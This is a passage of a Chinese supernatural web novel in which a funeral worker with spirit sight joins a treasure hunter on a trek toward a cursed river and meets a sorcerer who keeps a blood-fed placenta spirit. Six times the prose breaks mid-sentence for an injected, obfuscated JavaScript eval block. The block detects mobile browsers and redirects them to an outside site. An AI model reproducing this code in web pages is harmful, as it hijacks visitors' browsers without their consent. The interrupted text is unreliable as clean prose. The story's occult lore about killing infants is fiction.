要知道,七爷号称鬼眼,早年间就是靠着这本事闯出了一片天地,可是年龄大了之后,鬼眼就渐渐退化,已经很难辨别那些肉眼无从观察的情景,如果不是这样,七爷估计也不会找鹰眼来合作。 所以,鹰眼就找了个借口,退出了合作,七爷劝了很久,鹰眼也不为所动。等他们的合作终止以后,鹰眼其实还在自己悄悄的摸索。他的心思很细,跟七爷合作期间,套取了不少信息。 大概就在一年前,鹰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797322|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼终于从信息里得到一条很重要的线索,随即又根据线索,找到了一个地方。 那地方是一条河,从附近的很多痕迹来看,至少能说明,很早以前有人在这里频繁的活动过。找到这里之后,因为情况不明,鹰眼就先派人下水去摸索。 他先后派下去了两个人,在水下摸索了一番之后,两个人都活着回来了,可是,等上岸以后,这俩人的神智就出现了一些问题,要么就闭口不答,要么就胡言乱语。 鹰眼不死心,跟着又派人下去,结果还是一样。 在这种情况下,鹰眼没办法再硬逼着人下水了,只能带人先行返回。但他耗费了这么长的时间和精力,肯定不愿意就这么放弃,过了两个月,鹰眼重新**了一些人,又到了那条河附近。 这一次,鹰眼又先后派下去了几个人,和上次一样,几个人都活着回来的,可是一上岸就变成了傻子,什么都说不清楚。 不过,这一次比前一次是多了些收获,因为其中一个人无意中带上来了一块碎铜。 鹰眼根据这块碎铜,又推敲出了一些情况,他坚定的相信,这个地方即便不是传说中祖师爷的衣冠冢,也必然和祖师爷有着莫大的关系。 可是,这个地方如同被诅咒过一样,只要有人下水,上来就变成傻子,前前后后一共有七八个人的神智失常,面对神智失常的人,什么都问不出来,所以一直到现在为止,河里究竟是什么情况,这些人为什么会变傻,谁也说不清楚。 鹰眼实在没有别的办法了,只能暂时搁浅。但是,这并不代表他完全放弃,其实还是一直在寻找机会。 等这一次遇到我,尤其是我辨认出鹰眼手心里那张纸条之后,鹰眼就意识到,我的眼睛异于常人,就和年轻时候的七爷一样,能看到肉眼看不到的东西。 这种特殊的本事,肯定能派上用场,特别是在无法观测具体情况的地方,更有大用。 我现在算是明白了,鹰眼就是看上了我这一手本事,想拉我入伙。 第226章 绕道而行 我看出了鹰眼的意思,心里很纠结。如果这老家伙硬逼着我入伙,跟他联手做事,我可能会产生排斥。 可对方压根就没有一点勉强的意思,一副你爱干不干的样子,我反倒犹豫不决了。 我想要彻底的保住自己的命,必须要完整的葬经终篇,但这东西零零散散的掌握在白八门好几个家族手里,就算我是天下无敌的高手,把他们全打服了,都不一定能保证,他们手中的葬经残本可以拼凑出完整的终篇。 鹰眼说的那条河,到底是不是祖师爷的衣冠冢,衣冠冢里,到底有没有完整的葬经终篇,这个谁也说不准。 只不过,这样的机会,是绝对不能错过的。 我心里很为难,鹰眼不是什么善茬,而且老谋深算,要是跟他联手,保不齐就得吃亏,可我没有选择的余地,如果不联手,鹰眼不可能把那条河的位置告诉我。 “咱们混江湖的,本来就是拼,就是赌,赌一场富贵,赌生死有命。你现在还年轻,不趁着年轻时做点事业?我知道,你多半也是白八门的人,白八门的人,对我说的事情,难道真的没有兴趣?” “你先说一说,具体怎么合作?” “我手下有人,办事用到的东西,随时都能准备妥当,我们一起到具体的地点去,你负责把河里头的情况看清楚。不然的话,下去一个人,出一次事,谁也受不了。要是真弄出些东西,我七成,你三成。” “行,那就按你说的办,不过,办事之前,先给我点定金。” “定金?你还怕我跑了不成?你打算要多少?” “不多,三千块钱足够了。” “那是小事,你到小楼那边去,找孙虎,就说是我说的,叫他拿钱给你。” 鹰眼这个人,的确有些魄力,也不追问我到底是不是真心合作,我一答应下来,他就同意给钱,同时,鹰眼又拿出那面镜子,在镜子背面拍了一下,嗖的一声,一直被困在镜子里的马友,立刻就飘飞了出来。 “带着你的死鬼朋友走吧,我给你两天时间,把该处理的事情处理一下,然后到这里来找我。” 我也没有多说什么,径直去前面的小楼找到孙虎,孙虎给我拿了三千块钱,有了这三千,加上之前存下来的那些,就足够把鬼市那支成了人形的人参买到手。 我取了钱之后,匆匆忙忙带着马友来到二道河鬼市,这中间只隔了十来天时间,那么贵重的人参,一时也没卖掉。我出钱把人参买了下来,又跟马友交代了几句,随后返回县城。 一直到这时候,我才开始认真的思考,跟鹰眼合作,有太多无法揣度的情况,一切都要靠自己随机应变。鹰眼搞不定的事情,肯定很难,我不仅要面对这些,同时还得防备着鹰眼坑我。 但这是眼下唯一一条看似能走通的路,不能错过。 我趁着这一两天的空闲,找田新农帮忙,把那支老人参给处理了一下,配成了药丸,每天服用一颗。 按照约定的时间,我又到了华岳山庄,鹰眼那边找了几个人,还有很多东西,这老家伙估计是真的憋不住了,当天夜里就带着我们动身上路。 鹰眼很鸡贼,没到地方之前,什么情况都不肯多说,车子开了整整一夜,到了第二天,又开了半上午,直到正午时分,才来到了一片山地附近。 我算了算路程,现在最起码距离黄县有二百来公里了,这地方我以前从来都没来过,根据山地的走势,应该还是太行山脉的一部分。 鹰眼一共带了五个人,扛着大包小包的东西,从一个小山口进了山。 “这山里能有河吗?”我走在鹰眼的旁边,就感觉这个地方出乎我的意料,太行山脉的山地虽然海拔都不算高,但地势比较崎岖,我可以肯定,山里肯定没有大河。 “有,我难道会为了骗你,巴巴的跑这么远?稍安勿躁,多点耐心,好饭是不怕迟的。” 我和鹰眼说话的时候,前面有两个人在开路,这片山地虽然复杂,但开路的两个人走的很快,轻车熟路的,显然不是第一次到这儿来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800832|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我越来越怀疑,如果这样的山地里,没有比较大的河,那么鹰眼现在究竟是要把我带到什么地方去? 我现在想问什么,鹰眼都不肯说,只能先跟着他们走。一行人在山路中断断续续行进了能有三个小时左右,走在前面的那两个人就停下了脚步,朝前头观望了一下,其中一个就跑回来给鹰眼报信。 前面的路可能是让堵住了,今年夏天的时候雨水特别多,几十年都不遇一次,大量的降水引起了山体滑坡和泥石流,前面的路被堵的很彻底,根本就过不去。 “几个月没来,路就让堵了?” 鹰眼亲自过去看了看,果然,路的确是堵了。 但是,这肯定阻拦不住鹰眼,在原地左右扫视了一圈之后,鹰眼就调转方向,让人临时从别的地方找一条进山的路。 如此一来,行程就变的很慢,一直走到大半夜,我们才停下来休息。 不知道是不是老天爷故意为难我们,重新找路非常的困难,绕了一个非常大的圈子,足足两天时间过去,鹰眼说距离最终的目的地,还有很长一段路。 我听了就感觉头晕,按照鹰眼的说法,我们兜了这么远,如今其实还是在山地的外围。 第三天的半下午,两个探路的人在前头一条很小的小河旁边,发现了几座小草屋,草屋那边还有炊烟,应该有人住。 几个人赶过去看了看,还没有完全靠近,就看到草屋那边有个身材瘦高的男人,带着三四条狗,正在河边钓鱼。 有人想去找那个人问问路,鹰眼也没有阻拦,慢悠悠的跟在后头,一边走,一边对我说道:“你看到没有,那人养的不是狗,是狼。” 我定睛望去,真的和鹰眼说的一样,那个人养的果然是狼,狼和狗有很明显的区别,狗是翘着尾巴,狼是拖着尾巴。 两个过去问路的人已经走到了河边,我和鹰眼跟在后面,也慢慢的靠近了,等距离拉近到一定程度,我眯着眼睛看了看,顿时就感觉那个在河边钓鱼的人,估计不是个善茬。 第227章 嘎巴拉 正在钓鱼的是个大概五十岁上下的中年男人,瘦高身材,一头花白的短发,估计是常年都在野地里风吹日晒,瘦巴巴的脸庞上全都是沟壑一般的皱纹。 如果用肉眼去观察,会觉得这个人也就是常住在山里的山民。但是我眯着眼睛,用额头上的伤口一感应,立刻就察觉到对方的身躯外头,笼罩着一层很难察觉出的黑气。 这股黑气用额头的伤口几乎都察觉不出,更不要说用肉眼去识破了,我觉得就算是鹰眼这种老油条,也看不破其中的端倪。 这种淡淡的黑气对我来说一点都不陌生,这是死气,也就是很多人**之后堆积在一个地方,经过长时间的腐烂和沉淀所产生的气息。 死气和阴气不一样,只要有**的地方,就会有阴气,比如太平间,坟地。而死气则是需要大量的尸体堆积产生的,不要说人,就算是鬼,碰到浓重的死气也会退避三舍。 说实话,像我这种专门帮人办丧事的人,从来都没有见过一个活人的身上会有这么浓重的死气。 “这人,可有点邪门。”鹰眼停下脚步,小声说道:“凭我的眼力,在他身上什么都看不出来。” “他身上的死气很重,死气把别的气息都给遮挡住了,你看不见他的死气,就不可能看出别的什么来。” “这肯定是个活人,他身上怎么有死气?” “不知道,先看看再说。” 趁着那两个人跟对方打听路线的机会,我换了个不起眼的位置,把眼睛全都闭上,凝神感应。很快,我就察觉到,这个人脖子上带的一串怪模怪样的链子,很有说头。 那串链子,是一片一片大约半厘米厚的圆片串起来的,链子所散发的死气比这个人身上的死气还要重,我以前没有亲眼见过这种东西,但是根据眼下的情况,稍一推测,就能知道,他带的东西是嘎巴拉。 内地的人很少会接触到嘎巴拉,就算真的接触到了,多半也是被忽悠的。嘎巴拉是用**的骨头制作的,准确来说,是用人的额骨经过打磨之后穿成串,才算是真正的嘎巴拉。 内地一些专门倒腾这种东西的人没那么多讲究,有时候就是胡乱找些**的骨头,指骨腿骨和头骨乱七八糟的一堆,然后打磨制作再卖出去。 这种假冒的嘎巴拉来路不正,时常会招来一些脏东西,如果佩戴的人没什么道行,根本就压不住,迟早会遭殃。 正宗的嘎巴拉用的不仅仅是人的额骨,而且额骨的主人生前还不是普通人,可想而知,收集这样一串嘎巴拉难如登天。 我能感应到,这个一脸褶子的人所佩戴的嘎巴拉,散发着浓重的死气,而且,这股死气中,还夹杂着一缕一缕挥之不去的气息。这就意味着,他脖子上这串嘎巴拉用的额骨,都是生前有些门道的主儿。 “就是找你问个路,你是哑巴了?还是**?不会说话?” 我正在全力的观察,那边去问路的人就火了,鹰眼手下这帮人,比孙虎还要张狂,平时横行霸道惯了,那个钓鱼的中年人可能一直没有开口,把问路的人给惹恼了,卷了卷袖子,想要动手。 “别莽撞。”鹰眼快步走了过去,把问路的人拉到一旁,冲着中年人说道:“老弟,我们进山的那条路被堵了,现在兜了个圈子,想打听打听进山的路。” 鹰眼的气场比他手下那帮人强的多,一直到他发话,那个钓鱼的中年人才慢慢的转过头。 “打听进山的路?” “对,进山的路,老弟要是知道,麻烦跟咱们说说。” 中年人突然咧嘴笑了笑,他的牙齿很白,但是牙齿的缝隙之间,好像全是发黑的血,泛红的牙齿再加上他那张皱巴巴的脸,怎么看都让人感觉很别扭。 “进山的路,我知道。” “那就受累跟我说说吧。”鹰眼从口袋里掏出几张崭新的钞票,递给中年人。 “我不要钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800833|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “那……那就给你点别的东西?” “我也不要东西,我就要一条命,你们这几个人,选一个出来,把命留下,我就告诉你进山的路。” “你活的不耐烦了!”问路的人在旁边火冒三丈,张牙舞爪的又想动手。 鹰眼抬手制止了对方,他应该也看出来了,这个中年人身上总有一股让人琢磨不透的邪气,这地方不是鹰眼的地盘,他不想惹麻烦,估计是觉得跟中年人没办法沟通,随即就打消了问路的念头。 我们几个人从小屋旁边绕过去,然后继续慢慢的找路,我时不时的就回头观察一下,那个中年人仍然在河边钓鱼,没有跟过来。 反正找路的过程很不顺利,有时候看着可以走过去,但走一截之后,又会被山谷或者巨大的隔断给阻挡,只能重新退回来。从半下午一直到傍晚,我们走了至少有二十多里,但没有实质性的进展。 在这种地方行进,需要时刻保持一定的体力,鹰眼就叫人找个地方露营,吃过饭以后睡觉,到第二天再赶路。 我算是鹰眼请过来的人,所以晚上不用守夜,只不过在这样的地方不可能睡的很踏实,一直到半夜十二点半,我才浅浅的睡了过去。 我睡的时间肯定不算很长,最多也就是一个小时的时间,在睡梦中,我突然就嗅到了一股腥味。这股腥味很浓,呛的人直咳嗽,我一下子睁开眼,从地上坐了起来。 当我睁眼的那一瞬间,就看到不知道什么时候下了雾,夜雾很浓,那股很浓的腥味,就是从雾里散发出来的。 那是一股血腥味,我下意识就觉得不妙,急忙站起了身。雾气实在是太浓了,身边两米远的地方就模糊一团,我还记得,鹰眼就在离我不远的地方休息,我正打算出声叫他,突然又感觉到,这片浓重的雾气里,总是有一种非常诡异的寂静。 那种寂静,就仿佛这片山地里所有的东西全部死绝了。 第228章 血手印 此时此刻,我的耳朵听不到任何声音,这并不是耳朵出了什么问题,而是周围陷入了一片绝对的寂静。 我心中警觉,立刻小声喊了鹰眼一声,鹰眼那种老油条在这样的地方肯定不会睡死,但一声喊过之后,我没有收到任何回应。 不仅鹰眼没有回应,他手下那几个人也都无声无息。我眯着眼睛感应了一下,这片浓重的雾气很不寻常,我已经用尽全力,但只能感应到最多四五米之外的情景。 我还置身在露营的地方,只不过看不到鹰眼他们。我站起身,浓雾中的血腥味扑面而来,呛的我只想咳嗽。 “别……别转身……” 就在我全力感应着周围的动静时,一阵半死不活的声音,丝丝缕缕的钻入到了耳廓中。我心头猛然一惊,还不等转过身,那道半死不活的声音,就又飘到了耳边。 “你的胆子小……我怕吓死你……别转身啊……” 我下意识的转过身,身后只有一片浓雾,而我最多只能感应到四五米之外,这声音究竟是谁发出来的,我暂时看不清楚。 “你猜……你后面是什么东西?你心里害怕不害怕?” 这声音阴魂不散,时不时的就会传入耳中,我已经在尽可能的分辨声音的来源,但声音一会儿从左边传来,一会儿又从右边传来,飘忽不定,根本就无法确认。 “再往后面走一走,你就快要看到那东西了……别怕……你可千万别害怕啊……” 我定了定神,飘忽不定的声音,极难捕捉,让人心里没底。我有点发虚,鹰眼和他的手下如今都不见了,无论出现什么意外,现在只能我一个人去承担。 “你怕了……你心里害怕了,是不是?” 那道见鬼的声音又一次传来的时候,浓雾中的血腥味已经无孔不入,这种气味本身就带着很浓重的危险气息,我一直都在严密的关注着附近的动态,这一次,声音传入耳中时,我觉得就是从我身后不远处传来的。 我一步一步的朝前走去,这个时候无论是惊慌失措,还是仓皇逃跑,都不是上策,越是慌乱,就越要被对方拿捏。 我朝着声音传来的方向走去时,那道不阴不阳的声音似乎又销声匿迹了,而且消失的很彻底,周围又恢复到完全没有声音的环境中。我只怕会有什么圈套,走的很慢,等我前行了差不多能有十几米的时候,正前方突然传来噗的一声。 我始终都严防戒备,这声音一出现,我立刻警觉了,可是,还没等我有过多的反应,一串血花从浓雾中飞闪过来。 我抽身一退,血花全都洒落在眼前的地面上,这时候,我眯着眼睛感应,顿时就觉得前面不远处,有一个人。 到了这种地步,我还是不敢大意,依然把脚步放的很慢,那串血花飞过来之后,所有的动静全部停歇了,我最多走了三四米远,浓雾中的身影,就渐渐清晰。 眼前的情景让我吃了一惊,我认出来,浓雾中的身影是鹰眼的一个手下,叫刚子,之前一直负责探路。刚子的脾气很冲,除了鹰眼,跟谁说话都不客气,我也懒得和他打交道。 刚子的双手朝两边直直的伸展开来,微微耷拉着脑袋,就仿佛被钉在一个看不见的十字架上。 他的脸上全是血,上半身的衣服也几乎被血给染透了。刚子还没死,只不过发不出什么声音,在我靠近的那一刻,刚子拼命的抬起头,眼神混混沌沌的,嘴角还在不停的朝外渗血。 我明白了,刚才从浓雾里飞闪出来的那串血花,是刚子吐出来的。而且,我也隐隐的意识到,眼前的困境,跟之前那个在河边钓鱼的人,脱不开干系。 因为当时就是刚子跑过去问路,但对方不搭理,刚子就火冒三丈的想要动手**。 刚子说不出话,但是从他的眼神里,我能看出来求救的意思。我不敢太冒进,现在其余的几个人都下落不明,我必须得小心,至少要保全自己。 所以,我没有马上去救刚子。 刚子的嘴巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15814918|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直都在吐血,一股接着一股,人要是这么吐血的话,用不了多久,肯定会死。我等了两分钟,暂时没有察觉到别的动静,就又朝前走了走。 距离再一次拉近,我看的就更清楚了,刚子的身前身后都是空荡荡的,什么东西都没有,但他还是保持着那种伸展双臂,耷拉脑袋的动作,就好像真的被钉在十字架上一样。 “刚子……” 我轻声的喊了一句,我觉得,刚子的感官应该没有消失,他能看见我,而且还能听到我的声音。我一开口,刚子明显有点激动,想要挣扎。 他的身躯一扭动,两条胳膊突然就垂了下来,整个人就像是一条**袋,轰然倒地。 刚子没有多余的力气,倒在地上,依然在呼哧呼哧的喘着气,嘴巴里时不时就冒出一股一股的血水。我只怕他真的会吐血吐死,硬着头皮,压低了身子,小声问道:“刚子,你还能动不能?” 刚子仍旧说不出话,他这个人虽然横行霸道,但眼下情况紧急,毕竟是同一个队伍里的人,我不想看着他这样死去,就琢磨着,能不能先把他拖到一边去。 刚子的眼神,已经变的一片灰暗,但他肯定不想死,目光中满是渴求。我慢慢的伸出手,想先拉住他,可是,手刚伸出来,我猛然又顿住了。 刚子浑身上下都是血,然而,我还是敏锐的观察到,他的两只手的手腕上,各有一个不易察觉的痕迹。 猛然看上去,他的手腕上好像是一片斑驳的血迹,但我能看出来,那其实是两只手印的痕迹。 两个很小的手印,血糊糊的,随即,我就又发现,刚子的脚脖子上,也各有一个这样的小手印。 我的头皮顿时一麻,这四个小手印已经是很扎眼的痕迹了,我一下子就联想到,有四个体型很小的东西,和刚子一样,都是浑身血淋淋的,同时伸手死死的抓着刚子的手腕,脚腕。 也就因为这样,刚子身前身后都空荡荡的,却像是被钉在十字架上一样。 第229章 一团怪物 我只能猜出个大概,但刚子之前究竟遭遇了什么,不可能完全推断出来。他手腕脚腕上的血手印,让我愈发的不安,无形之中,那个在河边钓鱼的人的影子,一下子就浮现在脑海里。 就冲那人脖子上戴着的那串嘎巴拉,就能知道,他绝对不是什么善茬,很可能就是这个人一路尾随着我们,专门报复,刚子就是第一个遭殃的。 “你别动,我先把你带到那边去。” 我总觉得这地方不安全,想把刚子转移个地方,然后看看能不能找到鹰眼他们。我心里越来越虚,刚子都成这个鬼样子了,鹰眼他们的下场,应该也好不到哪儿去。 我这边刚想把刚子给拖走,刚子的眼神就停滞了,他已经吐了太多的血,就算是个超人也扛不住失血过多。 刚子究竟是受伤了,还是怎么回事,我没有仔细检查,暂时也不清楚,可我看得出来,刚子应该是没救了,现在除非是有条件给他输血,或许还有一线生机。 刚子的嘴巴半开着,一股一股的血水,仍然源源不断的从嘴巴里涌出来,我很怀疑,刚子的内脏是不是受到了严重的损伤,否则的话,一般的外伤是不可能这样无休无止的吐血的。 仅仅过去了一两分钟,刚子的情况就更糟糕,呼吸和心跳越来越慢,他的眼神定格了,心跳也最终彻底停止。 刚子咽气的时候,四周的浓雾好像散去了一点,但能见度还是很低,稍远点的情景无法观测到。我叹了口气,心里的感受很不好,刚子的为人不怎么样,可是我们还没到达目的地,就遇见了这种人命关天的大事,绝对不是个好兆头。 我只能暂时丢下刚子的尸体,到别处去查找一番,我还是走的很慢,走两步,就停下来仔细的感应一番。走出去大概有几步远之后,我的余光无意中瞥到了刚子,觉得刚子好像动了动。 我不知道是不是自己的视线出现了什么问题,急忙转过身,又到了刚子身边。 刚子彻底不动弹了,我前后试探了几次,他的呼吸和心跳以及脉搏,都已经停止,死的透透的。 然而,我回想到刚才余光瞥到的那一幕情景时,心底深处总是觉得,那不是我的视线出现了问题。 我慢慢的站起身,正打算迈步离开的时候,刚子突然又轻轻动了一下,这一次,我看的很清楚,刚子的腹部,的确动了两下。 我还没反应过来,刚子的腹部又上上下下的耸动了几次,我咕咚咽了口唾沫,感觉浑身上下不自在。虽然刚子身上穿着衣服,但是我能看出来,他的肚子里,似乎有什么东西,而且是活的东西。 果不其然,刚子的腹部一直都在动,就好像一个大皮球,猛然凸起一块,跟着又缩回去,前前后后反复了十几次。尽管我已经把眼睛完全闭上了,可是,却看不透刚子的肚子里究竟是什么。 唰!!! 就在这时候,刚子的肚皮似乎被一把看不见的刀子,猛然划开了,一股肮脏的血水,连带着乱七八糟的内脏,嘭的一声喷发了出来。 我离的很近,躲都躲不开,血水迎面而来,那些乱七八糟的内脏也啪嗒啪嗒的落在身前身后。 我的肩膀突然沉了沉,就感觉有什么东西落到了肩膀上。我能闻到一股腥臭的气味,余光还能看到肩膀上的东西,是稀里糊涂的一团,上头布满了血迹和黏液。 从那东西的形状上来看,我觉得好像是……是刚子的胃。我的五脏六腑一瞬间就像是要炸锅了似的,恶心的要死。 我觉得,这个世界上不可能再有任何人能经历这种遭遇,眼睁睁的看着同伴的胃掉落到自己肩膀上。 我抖了抖身子,想把肩膀上的胃给甩掉,但这东西外面都是黏糊糊的黏液,似乎贴到了肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15814919|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,甩了两下都没能甩开。 紧跟着,我就感觉很不妙,因为肩膀上的东西,就仿佛是活的一样,左右晃动了几下。 我心头的恶心和惶恐,一下子爆棚了,急忙把左手缩到袖子里,然后捏着肩膀上的那团东西,硬把它拽了下来。 这东西看上去,确实像是人的胃脏,但我始终觉得,这玩意儿是活的,我想把它给扔掉,这东西还没落地,嗖的一下又弹了起来,啪的贴到了我的胳膊上。 这一次,这团胃一样的玩意儿就像是长了腿一样,顺着我的手臂朝上蔓延,转眼之间,就从手臂爬到了后背。 我彻底炸毛了,我能确定,就是这玩意儿钻到了刚子的肚子里,才让刚子止不住的吐血,最后活活吐死。 我不停的扭动身体,手脚也在甩来甩去,想把这东西给抓下来,此时此刻,我已经顾不上恶心了,飞快的从口袋里取出手套戴上,然后在身上来回的乱抓。 这团东西移动的非常快,我浑身力气根本就用不上,就这么纠缠了片刻,我的预感越来越不好,要是不赶紧把这东西给解决掉,万一再临时出现什么意外,我就彻底陷入了被动之中。 我急眼了,翻身躺倒在地,一连打了好几个滚,那团东西果然受到了阻滞,趁着这个机会,我反手把它抓起来,用力朝地上一摔。 这东西摔下去的那一瞬间,就喷溅起点点滴滴的血污,我嗅到这股气味的时候,就感觉不对劲。 血的气味是腥,如果放置时间过久,就会变成腥臭,但是,这东西喷溅出的血迹里,有一股遮挡不住的药味。 这时候,那团东西在地面上一阵蠕动,似乎还想逃走,我重重一脚踩了上去,那东西扭动了几下,等到我再一次注视过去的时候,脑袋就大了一圈。 此时此刻,我终于看清楚这团东西究竟是什么了。 第230章 紫婴血童 我辨认出来,这团东西,似乎是一个浸透了血的**。 在我们乡下,孕妇分娩之后,**一般都会找一个合适的地方埋掉。有那种为了赚钱不顾道义的人,专门在各个村子里转悠,遇到谁家有女人分娩,把**埋掉之后,就趁着半夜偷偷再把**给挖出来,然后卖掉。 如果在别的地方看到**,我不会多么害怕和惶恐,毕竟连人的尸体都见了很多,不可能被一个**给吓住。 然而,在眼下的情景中看见**,我的心肝脾肺肾似乎一瞬间就紧缩成了一团,浑身上下都涌动着一阵刺骨的寒意。 关于**,有一种非常残酷阴邪的邪术,很多年前,这种邪术就流传过,因为太伤天理,人神共愤,会用这种邪术的人,走到哪里都会被老百姓追打,也会被官府抓捕,久而久之,这种邪术渐渐就销声匿迹了。 **这东西,也叫做紫河车,据说是一种中药。那些挖**卖钱的人,一般也都是卖到药铺去。 这种行径虽然让人不齿,但毕竟就是挖走了人家埋掉的**,也没有伤人性命。 然而,用**做法的人,才是真正的丧尽天良。 过去,有些巫师专门寻找刚刚出生的婴儿剥离掉的**,把**拿到手之后,他们并不罢手,因为**和母体脱离以后,其实就变成了没有生命的东西,没有生命,自然也不可能有灵性。 所以,这些阴邪的巫师还会盯上刚刚出生的婴儿,在**还没有干涸萎缩之前,想办法把婴儿弄死。婴儿的魂念无处可去,自然又会附着到**上。 拿到这种**以后,巫师就可以着手“养鬼”,他们养鬼,用的是土陶的罐子,里面是乱七八糟的血,还会加入一些药材,主要是为了防止血会在短时间内腐坏,附着了婴灵的**,就被泡在血水里。 **长时间被血浸润,不会彻底的烂掉,至少要差不多十个月的时间,**完全变成紫红色,婴灵和**彻底融为一体,能被巫师做法掌控,才算是大功告成。 这样被养出来的**,民间俗称“紫婴”。 一想到这儿,我忍不住又打了个哆嗦,如果会养紫婴的人,肯定还会养血河车。 **叫做紫河车,而那种因为特殊原因死在孕妇肚子里的婴儿,叫做血河车。死婴和**不一样,明明已经成了人形了,却胎死腹中,所以,这种死婴的怨气本身就很重。 过去,遇见这种情况,家里人会赶紧把死婴带出去,找个妥善的地方埋掉,然后还要请人来做法事,如果不做法师,死婴记得回家的路,以后会化作最凶戾的婴灵,无休止的纠缠这家人。 巫师最喜欢这种死婴,一旦能够找到,就如获至宝,赶紧带走养起来。 养血河车跟养孩子一样,很细致。用鲜血混黄土,烧成泥罐子,把血河车放进去,罐口封印,每三天开一次罐,朝里面加血。养血河车所用的鲜血也很讲究,不能使用狗血驴血和鸡血,必须猪血或者羊血,满满的注入泥罐,得把血河车浸泡起来。 被养起来的血河车就如同渐渐有了灵性,满满一罐子血,三天就被血河车吸的干干净净,需要重新添加,中途不加血,血河车会彻底腐烂。 有的养鬼人受限于条件,血源不多,把血河车养上七七四十九天就取来驱使,有的养鬼人会养上三年。满三年的血河车吃饱了血,阴气戾气极重,连鬼都怕,这样的血河车,就是传说中的血童。 我只觉得非常膈应,连想都没想,死死的踩住脚下的紫婴,弯腰捡起一块石头,用力砸下去。片刻之间,紫婴就被砸的稀烂,再也不动弹了。 我吸了口气,弯腰就朝旁边一路小跑,那个戴着嘎巴拉的人,肯定会养紫婴,如果能避开,那是最好的。 我想找个妥当的地方先躲起来,静观其变,不管是紫婴还是血童,只能晚上出没,到了白天,一见阳光就会化成血水,我就打算熬下去,熬到天亮再说。 跑出去大概有三十米左右,我看到几块很大的石头,石头的背面还有中间的缝隙都可以藏住人,我这边刚想躲过去,随即就看到石头的后面,露出了一片衣角。 我的心头一紧,立刻放慢了脚步,对方肯定也察觉到有人靠近,从石头后面微微露出一双眼睛。 紧跟着,我就看到鹰眼探出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15814920|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑袋,冲着我摆了摆手。 我急忙跑过去,鹰眼和两个手下都躲在石头后面,一动不动,我刚想说话,鹰眼急忙捂住了我的嘴,轻轻摇了摇头。 紫婴的感应是很灵敏的,如果是活人,就算不动弹,不说话,紫婴有时候也能感应的到,要是真的开口说话,附近又有紫婴,那百分百会被发现。 我冲着鹰眼打手势,是在告诉他,刚子死在那边了。鹰眼点了点头,这老家伙肯定知道,走散的手下不会有什么好结果,但为了保命,他还是躲在这边闷声不吭。 他的意图,跟我是一样的,就是想死撑到天亮,等天亮以后,紫婴之类的邪物不敢露面,情况可能就会好一些。 我们躲在石头后面一动不动,这时候大概是凌晨三点钟,天气寒冷,天亮的也晚,至少还要熬上四个多小时。 